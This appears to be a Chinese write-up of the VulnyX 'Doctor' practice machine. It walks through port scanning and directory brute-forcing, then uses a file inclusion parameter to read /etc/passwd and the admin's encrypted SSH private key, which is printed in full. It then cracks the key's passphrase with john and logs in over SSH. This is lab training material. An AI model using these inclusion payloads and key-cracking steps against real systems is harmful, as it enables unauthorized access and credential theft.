当前位置：首页 > news >正文

渗透靶机 Doctor 复盘

news 2025/7/4 16:20:27

https://vulnyx.com/

打点

nmap $IP

==> 22,80 端口

gobuster dir -u $URL -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt

得到一些目录信息，看了一下没发现什么

框架看不出什么

看一下源码是否存在敏感信息硬编码，太多了，似乎没有

开发者控制台全局搜索敏感字段或者路由

http://

php

api …

在这里插入图片描述
找到 LFI 路由 li><a href="doctor-item.php?include=Doctors.html">Doctors</a></li>
浏览器拼接后访问 ?include=/etc/passd

|root:x:0:0:root:/root:/bin/bash|
||daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin|
||bin:x:2:2:bin:/bin:/usr/sbin/nologin|
||sys:x:3:3:sys:/dev:/usr/sbin/nologin|
||sync:x:4:65534:sync:/bin:/bin/sync|
||games:x:5:60:games:/usr/games:/usr/sbin/nologin|
||man:x:6:12:man:/var/cache/man:/usr/sbin/nologin|
||lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin|
||mail:x:8:8:mail:/var/mail:/usr/sbin/nologin|
||news:x:9:9:news:/var/spool/news:/usr/sbin/nologin|
||uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin|
||proxy:x:13:13:proxy:/bin:/usr/sbin/nologin|
||www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin|
||backup:x:34:34:backup:/var/backups:/usr/sbin/nologin|
||list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin|
||irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin|
||gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin|
||nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin|
||_apt:x:100:65534::/nonexistent:/usr/sbin/nologin|
||systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin|
||systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin|
||systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin|
||messagebus:x:104:110::/nonexistent:/usr/sbin/nologin|
||sshd:x:105:65534::/run/sshd:/usr/sbin/nologin|
||systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin|
||admin:x:1000:1000:admin:/home/admin:/bin/bash|

知道了存在 admin 用户

再次包含获得其私钥

?include=/home/admin/.ssh/id_rsa

|---|
|-----BEGIN RSA PRIVATE KEY-----|
||Proc-Type: 4,ENCRYPTED|
||DEK-Info: DES-EDE3-CBC,9FB14B3F3D04E90E|
|||
||uuQm2CFIe/eZT5pNyQ6+K1Uap/FYWcsEklzONt+x4AO6FmjFmR8RUpwMHurmbRC6|
||hqyoiv8vgpQgQRPYMzJ3QgS9kUCGdgC5+cXlNCST/GKQOS4QMQMUTacjZZ8EJzoe|
||o7+7tCB8Zk/sW7b8c3m4Cz0CmE5mut8ZyuTnB0SAlGAQfZjqsldugHjZ1t17mldb|
||+gzWGBUmKTOLO/gcuAZC+Tj+BoGkb2gneiMA85oJX6y/dqq4Ir10Qom+0tOFsuot|
||b7A9XTubgElslUEm8fGW64kX3x3LtXRsoR12n+krZ6T+IOTzThMWExR1Wxp4Ub/k|
||HtXTzdvDQBbgBf4h08qyCOxGEaVZHKaV/ynGnOv0zhlZ+z163SjppVPK07H4bdLg|
||9SC1omYunvJgunMS0ATC8uAWzoQ5Iz5ka0h+NOofUrVtfJZ/OnhtMKW+M948EgnY|
||zh7Ffq1KlMjZHxnIS3bdcl4MFV0F3Hpx+iDukvyfeeWKuoeUuvzNfVKVPZKqyaJu|
||rRqnxYW/fzdJm+8XViMQccgQAaZ+Zb2rVW0gyifsEigxShdaT5PGdJFKKVLS+bD1|
||tHBy6UOhKCn3H8edtXwvZN+9PDGDzUcEpr9xYCLkmH+hcr06ypUtlu9UrePLh/Xs|
||94KATK4joOIW7O8GnPdKBiI+3Hk0qakL1kyYQVBtMjKTyEM8yRcssGZr/MdVnYWm|
||VD5pEdAybKBfBG/xVu2CR378BRKzlJkiyqRjXQLoFMVDz3I30RpjbpfYQs2Dm2M7|
||Mb26wNQW4ff7qe30K/Ixrm7MfkJPzueQlSi94IHXaPvl4vyCoPLW89JzsNDsvG8P|
||hrkWRpPIwpzKdtMPwQbkPu4ykqgKkYYRmVlfX8oeis3C1hCjqvp3Lth0QDI+7Shr|
||Fb5w0n0qfDT4o03U1Pun2iqdI4M+iDZUF4S0BD3xA/zp+d98NnGlRqMmJK+StmqR|
||IIk3DRRkvMxxCm12g2DotRUgT2+mgaZ3nq55eqzXRh0U1P5QfhO+V8WzbVzhP6+R|
||MtqgW1L0iAgB4CnTIud6DpXQtR9l//9alrXa+4nWcDW2GoKjljxOKNK8jXs58SnS|
||62LrvcNZVokZjql8Xi7xL0XbEk0gtpItLtX7xAHLFTVZt4UH6csOcwq5vvJAGh69|
||Q/ikz5XmyQ+wDwQEQDzNeOj9zBh1+1zrdmt0m7hI5WnIJakEM2vqCqluN5CEs4u8|
||p1ia+meL0JVlLobfnUgxi3Qzm9SF2pifQdePVU4GXGhIOBUf34bts0iEIDf+qx2C|
||pwxoAe1tMmInlZfR2sKVlIeHIBfHq/hPf2PHvU0cpz7MzfY36x9ufZc5MH2JDT8X|
||KREAJ3S0pMplP/ZcXjRLOlESQXeUQ2yvb61m+zphg0QjWH131gnaBIhVIj1nLnTa|
||i99+vYdwe8+8nJq4/WXhkN+VTYXndET2H0fFNTFAqbk2HGy6+6qS/4Q6DVVxTHdp|
||4Dg2QRnRTjp74dQ1NZ7juucvW7DBFE+CK80dkrr9yFyybVUqBwHrmmQVFGLkS2I/|
||8kOVjIjFKkGQ4rNRWKVoo/HaRoI/f2G6tbEiOVclUMT8iutAg8S4VA==|
||-----END RSA PRIVATE KEY-----|

把私钥放到本地，利用私钥破解 admin 密码

ssh2john id_rsa > hash
john hash

得到密码 unicorn

为密钥加权限，然后 ssh 登录 admin 用户

chmod 400 id_rsa
ssh -i id_rsa admin@$IP

登陆成功！